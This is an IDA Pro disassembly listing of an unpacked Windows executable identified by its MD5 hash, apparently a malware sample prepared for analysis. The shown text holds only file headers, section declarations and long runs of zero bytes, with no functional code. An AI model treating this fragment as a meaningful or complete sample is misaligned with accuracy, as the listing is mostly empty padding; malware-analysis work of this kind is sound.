; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7B8B096E8E59B4BE8F179A62D272EFA9 ; File Name : u:\work\7b8b096e8e59b4be8f179a62d272efa9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_401000 dd 5800h dup(0) _text ends ; Section 2. (virtual address 00017000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00017000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 417000h dd 0F2h dup(0) dword_4173C8 dd 30Eh dup(0) _rdata ends ; Section 3. (virtual address 00018000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00018000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 418000h unk_418000 db 0 ; DATA XREF: _802izwe5:004301A0o db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 